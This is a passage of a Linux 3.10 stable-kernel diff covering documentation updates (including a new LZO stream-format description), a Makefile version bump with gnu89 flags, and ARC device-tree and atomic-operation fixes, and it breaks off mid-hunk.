net/netfilter/nf_nat_core.c | 35 +- net/netfilter/nfnetlink_cthelper.c | 7 +- net/netfilter/nfnetlink_log.c | 31 +- net/netfilter/nfnetlink_queue_core.c | 31 +- net/netfilter/x_tables.c | 245 ++++++++++- net/netlabel/netlabel_kapi.c | 12 +- net/netlink/af_netlink.c | 137 +++--- net/openvswitch/actions.c | 5 + net/packet/af_packet.c | 38 +- net/packet/internal.h | 1 + net/phonet/af_phonet.c | 4 + net/rds/ib_rdma.c | 4 +- net/rds/info.c | 2 +- net/rds/iw_rdma.c | 40 +- net/rds/send.c | 4 +- net/rds/tcp_recv.c | 11 +- net/rfkill/core.c | 22 +- net/rfkill/rfkill-regulator.c | 8 +- net/rxrpc/ar-recvmsg.c | 2 +- net/sched/ematch.c | 1 + net/sched/sch_api.c | 10 +- net/sctp/associola.c | 4 +- net/sctp/auth.c | 6 +- net/sctp/inqueue.c | 33 +- net/sctp/ipv6.c | 10 + net/sctp/output.c | 8 +- net/sctp/protocol.c | 64 ++- net/sctp/sm_make_chunk.c | 104 +++-- net/sctp/sm_sideeffect.c | 42 +- net/sctp/sm_statefuns.c | 46 +- net/sctp/socket.c | 58 ++- net/sctp/sysctl.c | 3 +- net/sctp/ulpevent.c | 122 +----- net/socket.c | 24 +- net/sunrpc/auth_gss/gss_rpc_xdr.c | 23 +- net/sunrpc/auth_gss/svcauth_gss.c | 4 +- net/sunrpc/backchannel_rqst.c | 2 +- net/sunrpc/cache.c | 4 +- net/sunrpc/svcsock.c | 2 + net/sunrpc/xprt.c | 2 +- net/sunrpc/xprtrdma/svc_rdma_transport.c | 1 + net/tipc/bcast.c | 1 + net/tipc/socket.c | 1 + net/unix/af_unix.c | 61 ++- net/unix/garbage.c | 20 +- net/vmw_vsock/af_vsock.c | 21 +- net/wireless/chan.c | 9 +- net/wireless/nl80211.c | 21 +- net/wireless/trace.h | 3 +- net/wireless/wext-compat.c | 2 + net/wireless/wext-core.c | 51 ++- net/x25/x25_facilities.c | 1 + scripts/bloat-o-meter | 8 +- .../coccinelle/iterators/use_after_iter.cocci | 2 +- scripts/kconfig/streamline_config.pl | 2 +- scripts/kernel-doc | 2 +- scripts/recordmcount.c | 23 +- scripts/recordmcount.h | 2 +- scripts/recordmcount.pl | 4 +- security/commoncap.c | 10 +- security/integrity/evm/evm_main.c | 9 +- security/keys/encrypted-keys/encrypted.c | 5 +- security/keys/gc.c | 12 +- security/selinux/selinuxfs.c | 6 +- security/yama/yama_lsm.c | 4 +- sound/arm/Kconfig | 15 +- sound/core/compress_offload.c | 11 + sound/core/control.c | 8 + sound/core/control_compat.c | 90 +++- sound/core/oss/pcm_oss.c | 21 +- sound/core/pcm_compat.c | 15 +- sound/core/pcm_lib.c | 8 +- sound/core/pcm_native.c | 4 +- sound/core/rawmidi.c | 36 +- sound/core/rawmidi_compat.c | 53 +++ sound/core/seq/oss/seq_oss.c | 2 - sound/core/seq/oss/seq_oss_device.h | 1 - sound/core/seq/oss/seq_oss_init.c | 17 - sound/core/seq/oss/seq_oss_synth.c | 2 +- sound/core/seq/seq_clientmgr.c | 5 +- sound/core/seq/seq_compat.c | 9 +- sound/core/seq/seq_dummy.c | 31 -- sound/core/seq/seq_ports.c | 236 +++++----- sound/core/seq/seq_timer.c | 87 +++- sound/core/seq/seq_virmidi.c | 6 +- sound/core/timer.c | 68 ++- sound/core/timer_compat.c | 18 +- sound/drivers/dummy.c | 36 +- sound/i2c/other/ak4113.c | 17 +- sound/i2c/other/ak4114.c | 18 +- sound/oss/sequencer.c | 12 +- sound/pci/Kconfig | 4 +- sound/pci/au88x0/au88x0_core.c | 5 +- sound/pci/emu10k1/emu10k1.c | 6 +- sound/pci/emu10k1/emu10k1_callback.c | 10 +- sound/pci/emu10k1/emu10k1_main.c | 21 +- sound/pci/emu10k1/emupcm.c | 2 +- sound/pci/emu10k1/emuproc.c | 12 - sound/pci/emu10k1/memory.c | 11 +- sound/pci/hda/hda_codec.c | 25 +- sound/pci/hda/hda_generic.c | 47 +- sound/pci/hda/hda_intel.c | 39 ++ sound/pci/hda/hda_proc.c | 38 +- sound/pci/hda/patch_ca0132.c | 7 +- sound/pci/hda/patch_cirrus.c | 6 +- sound/pci/hda/patch_conexant.c | 23 + sound/pci/hda/patch_realtek.c | 71 ++- sound/pci/hda/patch_sigmatel.c | 51 ++- sound/pci/intel8x0.c | 1 + sound/pci/oxygen/oxygen_mixer.c | 2 +- sound/pci/oxygen/virtuoso.c | 1 + sound/pci/oxygen/xonar_pcm179x.c | 12 +- sound/pci/riptide/riptide.c | 27 +- sound/pci/rme96.c | 41 +- sound/pci/rme9652/hdsp.c | 4 +- sound/pci/rme9652/hdspm.c | 22 +- sound/soc/atmel/atmel_ssc_dai.c | 18 +- sound/soc/codecs/adav80x.c | 4 +- sound/soc/codecs/ak4641.c | 4 +- sound/soc/codecs/arizona.c | 2 +- sound/soc/codecs/cs4271.c | 4 +- sound/soc/codecs/max98090.c | 6 +- sound/soc/codecs/mc13783.c | 4 +- sound/soc/codecs/sgtl5000.c | 14 +- sound/soc/codecs/sgtl5000.h | 2 +- sound/soc/codecs/sigmadsp.c | 7 + sound/soc/codecs/tas5086.c | 4 +- sound/soc/codecs/wm2000.c | 8 +- sound/soc/codecs/wm8731.c | 4 +- sound/soc/codecs/wm8737.c | 6 +- sound/soc/codecs/wm8903.c | 4 +- sound/soc/codecs/wm8903.h | 2 +- sound/soc/codecs/wm8904.c | 4 +- sound/soc/codecs/wm8955.c | 6 +- sound/soc/codecs/wm8958-dsp2.c | 8 +- sound/soc/codecs/wm8960.c | 10 +- sound/soc/codecs/wm8962.c | 4 +- sound/soc/codecs/wm8994.c | 6 +- sound/soc/davinci/davinci-mcasp.c | 11 +- sound/soc/dwc/designware_i2s.c | 18 +- sound/soc/pxa/Kconfig | 2 - sound/soc/pxa/pxa-ssp.c | 4 +- sound/soc/samsung/i2s.c | 16 +- sound/soc/samsung/s3c-i2s-v2.c | 2 +- sound/soc/samsung/s3c-i2s-v2.h | 2 +- sound/soc/soc-pcm.c | 3 +- sound/synth/emux/emux_oss.c | 14 +- sound/synth/emux/emux_seq.c | 29 +- sound/usb/midi.c | 48 +++ sound/usb/mixer.c | 2 + sound/usb/mixer_maps.c | 44 +- sound/usb/mixer_quirks.c | 7 + sound/usb/quirks-table.h | 109 +++++ sound/usb/quirks.c | 29 +- sound/usb/usbaudio.h | 1 + tools/Makefile | 8 + tools/lib/traceevent/event-parse.c | 5 +- tools/perf/Documentation/perf-stat.txt | 8 + tools/perf/builtin-kmem.c | 2 +- tools/perf/util/header.c | 4 +- tools/perf/util/hist.h | 1 + tools/perf/util/session.c | 5 +- tools/power/x86/turbostat/Makefile | 6 +- tools/testing/selftests/Makefile | 1 + tools/testing/selftests/efivarfs/efivarfs.sh | 19 +- .../testing/selftests/efivarfs/open-unlink.c | 72 +++- tools/testing/selftests/mount/Makefile | 17 + .../mount/unprivileged-remount-test.c | 370 ++++++++++++++++ virt/kvm/async_pf.c | 2 +- virt/kvm/ioapic.c | 7 +- virt/kvm/iommu.c | 25 +- virt/kvm/kvm_main.c | 31 +- 1959 files changed, 21342 insertions(+), 10545 deletions(-) create mode 100644 Documentation/lzo.txt delete mode 100644 arch/mips/include/asm/suspend.h create mode 100644 arch/x86/include/asm/espfix.h create mode 100644 arch/x86/kernel/espfix_64.c delete mode 100644 include/linux/compiler-gcc3.h delete mode 100644 include/linux/compiler-gcc4.h create mode 100644 include/rdma/ib.h create mode 100644 tools/testing/selftests/mount/Makefile create mode 100644 tools/testing/selftests/mount/unprivileged-remount-test.c diff --git a/Documentation/devicetree/bindings/dma/fsl-mxs-dma.txt b/Documentation/devicetree/bindings/dma/fsl-mxs-dma.txt index a4873e5e3e36d..e30e184f50c72 100644 --- a/Documentation/devicetree/bindings/dma/fsl-mxs-dma.txt +++ b/Documentation/devicetree/bindings/dma/fsl-mxs-dma.txt @@ -38,7 +38,7 @@ dma_apbx: dma-apbx@80024000 { 80 81 68 69 70 71 72 73 74 75 76 77>; - interrupt-names = "auart4-rx", "aurat4-tx", "spdif-tx", "empty", + interrupt-names = "auart4-rx", "auart4-tx", "spdif-tx", "empty", "saif0", "saif1", "i2c0", "i2c1", "auart0-rx", "auart0-tx", "auart1-rx", "auart1-tx", "auart2-rx", "auart2-tx", "auart3-rx", "auart3-tx"; diff --git a/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt b/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt index 01ef408e205f1..8faff12e7014c 100644 --- a/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt +++ b/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt @@ -91,5 +91,5 @@ mpp61 61 gpo, dev(wen1), uart1(txd), audio(rclk) mpp62 62 gpio, dev(a2), uart1(cts), tdm(drx), pcie(clkreq0), audio(mclk), uart0(cts) mpp63 63 gpo, spi0(sck), tclk -mpp64 64 gpio, spi0(miso), spi0-1(cs1) -mpp65 65 gpio, spi0(mosi), spi0-1(cs2) +mpp64 64 gpio, spi0(miso), spi0(cs1) +mpp65 65 gpio, spi0(mosi), spi0(cs2) diff --git a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt index bfa0a2e5e0cb9..86dec67e54505 100644 --- a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt +++ b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt @@ -41,15 +41,15 @@ mpp20 20 gpio, ge0(rxd4), ge1(rxd2), lcd(d20), ptp(clk) mpp21 21 gpio, ge0(rxd5), ge1(rxd3), lcd(d21), mem(bat) mpp22 22 gpio, ge0(rxd6), ge1(rxctl), lcd(d22), sata0(prsnt) mpp23 23 gpio, ge0(rxd7), ge1(rxclk), lcd(d23), sata1(prsnt) -mpp24 24 gpio, lcd(hsync), sata1(prsnt), nf(bootcs-re), tdm(rst) -mpp25 25 gpio, lcd(vsync), sata0(prsnt), nf(bootcs-we), tdm(pclk) -mpp26 26 gpio, lcd(clk), tdm(fsync), vdd(cpu1-pd) +mpp24 24 gpio, lcd(hsync), sata1(prsnt), tdm(rst) +mpp25 25 gpio, lcd(vsync), sata0(prsnt), tdm(pclk) +mpp26 26 gpio, lcd(clk), tdm(fsync) mpp27 27 gpio, lcd(e), tdm(dtx), ptp(trig) mpp28 28 gpio, lcd(pwm), tdm(drx), ptp(evreq) -mpp29 29 gpio, lcd(ref-clk), tdm(int0), ptp(clk), vdd(cpu0-pd) +mpp29 29 gpio, lcd(ref-clk), tdm(int0), ptp(clk) mpp30 30 gpio, tdm(int1), sd0(clk) -mpp31 31 gpio, tdm(int2), sd0(cmd), vdd(cpu0-pd) -mpp32 32 gpio, tdm(int3), sd0(d0), vdd(cpu1-pd) +mpp31 31 gpio, tdm(int2), sd0(cmd) +mpp32 32 gpio, tdm(int3), sd0(d0) mpp33 33 gpio, tdm(int4), sd0(d1), mem(bat) mpp34 34 gpio, tdm(int5), sd0(d2), sata0(prsnt) mpp35 35 gpio, tdm(int6), sd0(d3), sata1(prsnt) @@ -57,21 +57,18 @@ mpp36 36 gpio, spi(mosi) mpp37 37 gpio, spi(miso) mpp38 38 gpio, spi(sck) mpp39 39 gpio, spi(cs0) -mpp40 40 gpio, spi(cs1), uart2(cts), lcd(vga-hsync), vdd(cpu1-pd), - pcie(clkreq0) +mpp40 40 gpio, spi(cs1), uart2(cts), lcd(vga-hsync), pcie(clkreq0) mpp41 41 gpio, spi(cs2), uart2(rts), lcd(vga-vsync), sata1(prsnt), pcie(clkreq1) -mpp42 42 gpio, uart2(rxd), uart0(cts), tdm(int7), tdm-1(timer), - vdd(cpu0-pd) -mpp43 43 gpio, uart2(txd), uart0(rts), spi(cs3), pcie(rstout), - vdd(cpu2-3-pd){1} +mpp42 42 gpio, uart2(rxd), uart0(cts), tdm(int7), tdm-1(timer) +mpp43 43 gpio, uart2(txd), uart0(rts), spi(cs3), pcie(rstout) mpp44 44 gpio, uart2(cts), uart3(rxd), spi(cs4), pcie(clkreq2), mem(bat) mpp45 45 gpio, uart2(rts), uart3(txd), spi(cs5), sata1(prsnt) mpp46 46 gpio, uart3(rts), uart1(rts), spi(cs6), sata0(prsnt) mpp47 47 gpio, uart3(cts), uart1(cts), spi(cs7), pcie(clkreq3), ref(clkout) -mpp48 48 gpio, tclk, dev(burst/last) +mpp48 48 gpio, dev(clkout), dev(burst/last) * Marvell Armada XP (mv78260 and mv78460 only) @@ -83,9 +80,9 @@ mpp51 51 gpio, dev(ad16) mpp52 52 gpio, dev(ad17) mpp53 53 gpio, dev(ad18) mpp54 54 gpio, dev(ad19) -mpp55 55 gpio, dev(ad20), vdd(cpu0-pd) -mpp56 56 gpio, dev(ad21), vdd(cpu1-pd) -mpp57 57 gpio, dev(ad22), vdd(cpu2-3-pd){1} +mpp55 55 gpio, dev(ad20) +mpp56 56 gpio, dev(ad21) +mpp57 57 gpio, dev(ad22) mpp58 58 gpio, dev(ad23) mpp59 59 gpio, dev(ad24) mpp60 60 gpio, dev(ad25) @@ -95,6 +92,3 @@ mpp63 63 gpio, dev(ad28) mpp64 64 gpio, dev(ad29) mpp65 65 gpio, dev(ad30) mpp66 66 gpio, dev(ad31) - -Notes: -* {1} vdd(cpu2-3-pd) only available on mv78460. diff --git a/Documentation/devicetree/bindings/spi/spi_pl022.txt b/Documentation/devicetree/bindings/spi/spi_pl022.txt index 22ed6797216d7..4d1673ca8cf80 100644 --- a/Documentation/devicetree/bindings/spi/spi_pl022.txt +++ b/Documentation/devicetree/bindings/spi/spi_pl022.txt @@ -4,9 +4,9 @@ Required properties: - compatible : "arm,pl022", "arm,primecell" - reg : Offset and length of the register set for the device - interrupts : Should contain SPI controller interrupt +- num-cs : total number of chipselects Optional properties: -- num-cs : total number of chipselects - cs-gpios : should specify GPIOs used for chipselects. The gpios will be referred to as reg = in the SPI child nodes. If unspecified, a single SPI device without a chip select can be used. diff --git a/Documentation/filesystems/efivarfs.txt b/Documentation/filesystems/efivarfs.txt index c477af086e656..686a64bba775e 100644 --- a/Documentation/filesystems/efivarfs.txt +++ b/Documentation/filesystems/efivarfs.txt @@ -14,3 +14,10 @@ filesystem. efivarfs is typically mounted like this, mount -t efivarfs none /sys/firmware/efi/efivars + +Due to the presence of numerous firmware bugs where removing non-standard +UEFI variables causes the system firmware to fail to POST, efivarfs +files that are not well-known standardized variables are created +as immutable files. This doesn't prevent removal - "chattr -i" will work - +but it does prevent this kind of failure from being accomplished +accidentally. diff --git a/Documentation/kernel-parameters.txt b/Documentation/kernel-parameters.txt index 7c9c459923c17..3559dfe287470 100644 --- a/Documentation/kernel-parameters.txt +++ b/Documentation/kernel-parameters.txt @@ -1065,6 +1065,7 @@ bytes respectively. Such letter suffixes can also be entirely omitted. i8042.notimeout [HW] Ignore timeout condition signalled by controller i8042.reset [HW] Reset the controller during init and cleanup i8042.unlock [HW] Unlock (ignore) the keylock + i8042.kbdreset [HW] Reset device connected to KBD port i810= [HW,DRM] diff --git a/Documentation/lzo.txt b/Documentation/lzo.txt new file mode 100644 index 0000000000000..ea45dd3901e3b --- /dev/null +++ b/Documentation/lzo.txt @@ -0,0 +1,164 @@ + +LZO stream format as understood by Linux's LZO decompressor +=========================================================== + +Introduction + + This is not a specification. No specification seems to be publicly available + for the LZO stream format. This document describes what input format the LZO + decompressor as implemented in the Linux kernel understands. The file subject + of this analysis is lib/lzo/lzo1x_decompress_safe.c. No analysis was made on + the compressor nor on any other implementations though it seems likely that + the format matches the standard one. The purpose of this document is to + better understand what the code does in order to propose more efficient fixes + for future bug reports. + +Description + + The stream is composed of a series of instructions, operands, and data. The + instructions consist in a few bits representing an opcode, and bits forming + the operands for the instruction, whose size and position depend on the + opcode and on the number of literals copied by previous instruction. The + operands are used to indicate : + + - a distance when copying data from the dictionary (past output buffer) + - a length (number of bytes to copy from dictionary) + - the number of literals to copy, which is retained in variable "state" + as a piece of information for next instructions. + + Optionally depending on the opcode and operands, extra data may follow. These + extra data can be a complement for the operand (eg: a length or a distance + encoded on larger values), or a literal to be copied to the output buffer. + + The first byte of the block follows a different encoding from other bytes, it + seems to be optimized for literal use only, since there is no dictionary yet + prior to that byte. + + Lengths are always encoded on a variable size starting with a small number + of bits in the operand. If the number of bits isn't enough to represent the + length, up to 255 may be added in increments by consuming more bytes with a + rate of at most 255 per extra byte (thus the compression ratio cannot exceed + around 255:1). The variable length encoding using #bits is always the same : + + length = byte & ((1 << #bits) - 1) + if (!length) { + length = ((1 << #bits) - 1) + length += 255*(number of zero bytes) + length += first-non-zero-byte + } + length += constant (generally 2 or 3) + + For references to the dictionary, distances are relative to the output + pointer. Distances are encoded using very few bits belonging to certain + ranges, resulting in multiple copy instructions using different encodings. + Certain encodings involve one extra byte, others involve two extra bytes + forming a little-endian 16-bit quantity (marked LE16 below). + + After any instruction except the large literal copy, 0, 1, 2 or 3 literals + are copied before starting the next instruction. The number of literals that + were copied may change the meaning and behaviour of the next instruction. In + practice, only one instruction needs to know whether 0, less than 4, or more + literals were copied. This is the information stored in the variable + in this implementation. This number of immediate literals to be copied is + generally encoded in the last two bits of the instruction but may also be + taken from the last two bits of an extra operand (eg: distance). + + End of stream is declared when a block copy of distance 0 is seen. Only one + instruction may encode this distance (0001HLLL), it takes one LE16 operand + for the distance, thus requiring 3 bytes. + + IMPORTANT NOTE : in the code some length checks are missing because certain + instructions are called under the assumption that a certain number of bytes + follow because it has already been garanteed before parsing the instructions. + They just have to "refill" this credit if they consume extra bytes. This is + an implementation design choice independant on the algorithm or encoding. + +Byte sequences + + First byte encoding : + + 0..17 : follow regular instruction encoding, see below. It is worth + noting that codes 16 and 17 will represent a block copy from + the dictionary which is empty, and that they will always be + invalid at this place. + + 18..21 : copy 0..3 literals + state = (byte - 17) = 0..3 [ copy literals ] + skip byte + + 22..255 : copy literal string + length = (byte - 17) = 4..238 + state = 4 [ don't copy extra literals ] + skip byte + + Instruction encoding : + + 0 0 0 0 X X X X (0..15) + Depends on the number of literals copied by the last instruction. + If last instruction did not copy any literal (state == 0), this + encoding will be a copy of 4 or more literal, and must be interpreted + like this : + + 0 0 0 0 L L L L (0..15) : copy long literal string + length = 3 + (L ?: 15 + (zero_bytes * 255) + non_zero_byte) + state = 4 (no extra literals are copied) + + If last instruction used to copy between 1 to 3 literals (encoded in + the instruction's opcode or distance), the instruction is a copy of a + 2-byte block from the dictionary within a 1kB distance. It is worth + noting that this instruction provides little savings since it uses 2 + bytes to encode a copy of 2 other bytes but it encodes the number of + following literals for free. It must be interpreted like this : + + 0 0 0 0 D D S S (0..15) : copy 2 bytes from <= 1kB distance + length = 2 + state = S (copy S literals after this block) + Always followed by exactly one byte : H H H H H H H H + distance = (H << 2) + D + 1 + + If last instruction used to copy 4 or more literals (as detected by + state == 4), the instruction becomes a copy of a 3-byte block from the + dictionary from a 2..3kB distance, and must be interpreted like this : + + 0 0 0 0 D D S S (0..15) : copy 3 bytes from 2..3 kB distance + length = 3 + state = S (copy S literals after this block) + Always followed by exactly one byte : H H H H H H H H + distance = (H << 2) + D + 2049 + + 0 0 0 1 H L L L (16..31) + Copy of a block within 16..48kB distance (preferably less than 10B) + length = 2 + (L ?: 7 + (zero_bytes * 255) + non_zero_byte) + Always followed by exactly one LE16 : D D D D D D D D : D D D D D D S S + distance = 16384 + (H << 14) + D + state = S (copy S literals after this block) + End of stream is reached if distance == 16384 + + 0 0 1 L L L L L (32..63) + Copy of small block within 16kB distance (preferably less than 34B) + length = 2 + (L ?: 31 + (zero_bytes * 255) + non_zero_byte) + Always followed by exactly one LE16 : D D D D D D D D : D D D D D D S S + distance = D + 1 + state = S (copy S literals after this block) + + 0 1 L D D D S S (64..127) + Copy 3-4 bytes from block within 2kB distance + state = S (copy S literals after this block) + length = 3 + L + Always followed by exactly one byte : H H H H H H H H + distance = (H << 3) + D + 1 + + 1 L L D D D S S (128..255) + Copy 5-8 bytes from block within 2kB distance + state = S (copy S literals after this block) + length = 5 + L + Always followed by exactly one byte : H H H H H H H H + distance = (H << 3) + D + 1 + +Authors + + This document was written by Willy Tarreau on 2014/07/19 during an + analysis of the decompression code available in Linux 3.16-rc5. The code is + tricky, it is possible that this document contains mistakes or that a few + corner cases were overlooked. In any case, please report any doubt, fix, or + proposed updates to the author(s) so that the document can be updated. diff --git a/Documentation/ramoops.txt b/Documentation/ramoops.txt index 69b3cac4749d7..5d8675615e59c 100644 --- a/Documentation/ramoops.txt +++ b/Documentation/ramoops.txt @@ -14,11 +14,19 @@ survive after a restart. 1. Ramoops concepts -Ramoops uses a predefined memory area to store the dump. The start and size of -the memory area are set using two variables: +Ramoops uses a predefined memory area to store the dump. The start and size +and type of the memory area are set using three variables: * "mem_address" for the start * "mem_size" for the size. The memory size will be rounded down to a power of two. + * "mem_type" to specifiy if the memory type (default is pgprot_writecombine). + +Typically the default value of mem_type=0 should be used as that sets the pstore +mapping to pgprot_writecombine. Setting mem_type=1 attempts to use +pgprot_noncached, which only works on some platforms. This is because pstore +depends on atomic operations. At least on ARM, pgprot_noncached causes the +memory to be mapped strongly ordered, and atomic operations on strongly ordered +memory are implementation defined, and won't work on many ARMs such as omaps. The memory area is divided into "record_size" chunks (also rounded down to power of two) and each oops/panic writes a "record_size" chunk of @@ -55,6 +63,7 @@ Setting the ramoops parameters can be done in 2 different manners: static struct ramoops_platform_data ramoops_data = { .mem_size = <...>, .mem_address = <...>, + .mem_type = <...>, .record_size = <...>, .dump_oops = <...>, .ecc = <...>, diff --git a/Documentation/scsi/scsi_eh.txt b/Documentation/scsi/scsi_eh.txt index 6ff16b620d84c..c08b62d63afa1 100644 --- a/Documentation/scsi/scsi_eh.txt +++ b/Documentation/scsi/scsi_eh.txt @@ -255,19 +255,23 @@ scmd->allowed. 3. scmd recovered ACTION: scsi_eh_finish_cmd() is invoked to EH-finish scmd - - shost->host_failed-- - clear scmd->eh_eflags - scsi_setup_cmd_retry() - move from local eh_work_q to local eh_done_q LOCKING: none + CONCURRENCY: at most one thread per separate eh_work_q to + keep queue manipulation lockless 4. EH completes ACTION: scsi_eh_flush_done_q() retries scmds or notifies upper - layer of failure. + layer of failure. May be called concurrently but must have + a no more than one thread per separate eh_work_q to + manipulate the queue locklessly - scmd is removed from eh_done_q and scmd->eh_entry is cleared - if retry is necessary, scmd is requeued using scsi_queue_insert() - otherwise, scsi_finish_command() is invoked for scmd + - zero shost->host_failed LOCKING: queue or finish function performs appropriate locking diff --git a/Documentation/sound/alsa/ALSA-Configuration.txt b/Documentation/sound/alsa/ALSA-Configuration.txt index 95731a08f2578..8f08b2a717918 100644 --- a/Documentation/sound/alsa/ALSA-Configuration.txt +++ b/Documentation/sound/alsa/ALSA-Configuration.txt @@ -2026,8 +2026,8 @@ Prior to version 0.9.0rc4 options had a 'snd_' prefix. This was removed. ------------------- Module for sound cards based on the Asus AV66/AV100/AV200 chips, - i.e., Xonar D1, DX, D2, D2X, DS, Essence ST (Deluxe), Essence STX, - HDAV1.3 (Deluxe), and HDAV1.3 Slim. + i.e., Xonar D1, DX, D2, D2X, DS, DSX, Essence ST (Deluxe), + Essence STX (II), HDAV1.3 (Deluxe), and HDAV1.3 Slim. This module supports autoprobe and multiple cards. diff --git a/Documentation/stable_kernel_rules.txt b/Documentation/stable_kernel_rules.txt index b0714d8f678ac..8dfb6a5f427d9 100644 --- a/Documentation/stable_kernel_rules.txt +++ b/Documentation/stable_kernel_rules.txt @@ -29,6 +29,9 @@ Rules on what kind of patches are accepted, and which ones are not, into the Procedure for submitting patches to the -stable tree: + - If the patch covers files in net/ or drivers/net please follow netdev stable + submission guidelines as described in + Documentation/networking/netdev-FAQ.txt - Send the patch, after verifying that it follows the above rules, to stable@vger.kernel.org. You must note the upstream commit ID in the changelog of your submission, as well as the kernel version you wish diff --git a/Documentation/x86/x86_64/mm.txt b/Documentation/x86/x86_64/mm.txt index 881582f75c9ce..bd4370487b07e 100644 --- a/Documentation/x86/x86_64/mm.txt +++ b/Documentation/x86/x86_64/mm.txt @@ -12,6 +12,8 @@ ffffc90000000000 - ffffe8ffffffffff (=45 bits) vmalloc/ioremap space ffffe90000000000 - ffffe9ffffffffff (=40 bits) hole ffffea0000000000 - ffffeaffffffffff (=40 bits) virtual memory map (1TB) ... unused hole ... +ffffff0000000000 - ffffff7fffffffff (=39 bits) %esp fixup stacks +... unused hole ... ffffffff80000000 - ffffffffa0000000 (=512 MB) kernel text mapping, from phys 0 ffffffffa0000000 - ffffffffff5fffff (=1525 MB) module mapping space ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls diff --git a/MAINTAINERS b/MAINTAINERS index ddb0fd5f8b0db..b1cb7d08053ab 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -3030,8 +3030,8 @@ F: Documentation/x86/efi-stub.txt F: arch/ia64/kernel/efi.c F: arch/x86/boot/compressed/eboot.[ch] F: arch/x86/include/asm/efi.h -F: arch/x86/platform/efi/* -F: drivers/firmware/efi/* +F: arch/x86/platform/efi/ +F: drivers/firmware/efi/ F: include/linux/efi*.h EFI VARIABLE FILESYSTEM diff --git a/Makefile b/Makefile index 942e12595ca3a..20943ed291b4d 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 49 +SUBLEVEL = 104 EXTRAVERSION = NAME = TOSSUG Baby Fish @@ -242,7 +242,7 @@ CONFIG_SHELL := $(shell if [ -x "$$BASH" ]; then echo $$BASH; \ HOSTCC = $(CCACHE) gcc HOSTCXX = $(CCACHE) g++ -HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer +HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 HOSTCXXFLAGS = -O2 # Decide whether to build built-in, modular, or both. @@ -379,7 +379,9 @@ KBUILD_CFLAGS := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \ -fno-strict-aliasing -fno-common \ -Werror-implicit-function-declaration \ -Wno-format-security \ - -fno-delete-null-pointer-checks + -fno-delete-null-pointer-checks \ + -std=gnu89 + KBUILD_AFLAGS_KERNEL := KBUILD_CFLAGS_KERNEL := KBUILD_AFLAGS := -D__ASSEMBLY__ diff --git a/arch/alpha/mm/fault.c b/arch/alpha/mm/fault.c index 98838a05ba6d8..9d0ac091a52a7 100644 --- a/arch/alpha/mm/fault.c +++ b/arch/alpha/mm/fault.c @@ -156,6 +156,8 @@ do_page_fault(unsigned long address, unsigned long mmcsr, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/arc/boot/dts/nsimosci.dts b/arch/arc/boot/dts/nsimosci.dts index 4f31b2eb5cdf6..4c169d825415f 100644 --- a/arch/arc/boot/dts/nsimosci.dts +++ b/arch/arc/boot/dts/nsimosci.dts @@ -20,7 +20,7 @@ /* this is for console on PGU */ /* bootargs = "console=tty0 consoleblank=0"; */ /* this is for console on serial */ - bootargs = "earlycon=uart8250,mmio32,0xc0000000,115200n8 console=ttyS0,115200n8 consoleblank=0 debug"; + bootargs = "earlycon=uart8250,mmio32,0xf0000000,115200n8 console=tty0 console=ttyS0,115200n8 consoleblank=0 debug"; }; aliases { @@ -46,9 +46,9 @@ #interrupt-cells = <1>; }; - uart0: serial@c0000000 { + uart0: serial@f0000000 { compatible = "ns8250"; - reg = <0xc0000000 0x2000>; + reg = <0xf0000000 0x2000>; interrupts = <11>; clock-frequency = <3686400>; baud = <115200>; @@ -57,21 +57,21 @@ no-loopback-test = <1>; }; - pgu0: pgu@c9000000 { + pgu0: pgu@f9000000 { compatible = "snps,arcpgufb"; - reg = <0xc9000000 0x400>; + reg = <0xf9000000 0x400>; }; - ps2: ps2@c9001000 { + ps2: ps2@f9001000 { compatible = "snps,arc_ps2"; - reg = <0xc9000400 0x14>; + reg = <0xf9000400 0x14>; interrupts = <13>; interrupt-names = "arc_ps2_irq"; }; - eth0: ethernet@c0003000 { + eth0: ethernet@f0003000 { compatible = "snps,oscilan"; - reg = <0xc0003000 0x44>; + reg = <0xf0003000 0x44>; interrupts = <7>, <8>; interrupt-names = "rx", "tx"; }; diff --git a/arch/arc/include/asm/cmpxchg.h b/arch/arc/include/asm/cmpxchg.h index 03cd6894855d6..90de5c528da22 100644 --- a/arch/arc/include/asm/cmpxchg.h +++ b/arch/arc/include/asm/cmpxchg.h @@ -25,10 +25,11 @@ __cmpxchg(volatile void *ptr, unsigned long expected, unsigned long new) " scond %3, [%1] \n" " bnz 1b \n" "2: \n" - : "=&r"(prev) - : "r"(ptr), "ir"(expected), - "r"(new) /* can't be "ir". scond can't take limm for "b" */ - : "cc"); + : "=&r"(prev) /* Early clobber, to prevent reg reuse */ + : "r"(ptr), /* Not "m": llock only supports reg direct addr mode */ + "ir"(expected), + "r"(new) /* can't be "ir". scond can't take LIMM for "b" */ + : "cc", "memory"); /* so that gcc knows memory is being written here */ return prev; } diff --git a/arch/arc/include/asm/kgdb.h b/arch/arc/include/asm/kgdb.h index 4930957ca3d38..e897610c657a4 100644 --- a/arch/arc/include/asm/kgdb.h +++ b/arch/arc/include/asm/kgdb.h @@ -19,7 +19,7 @@ * register API yet */ #undef DBG_MAX_REG_NUM -#define GDB_MAX_REGS 39 +#define GDB_MAX_REGS 87 #define BREAK_INSTR_SIZE 2 #define CACHE_FLUSH_IS_SAFE 1 @@ -33,23 +33,27 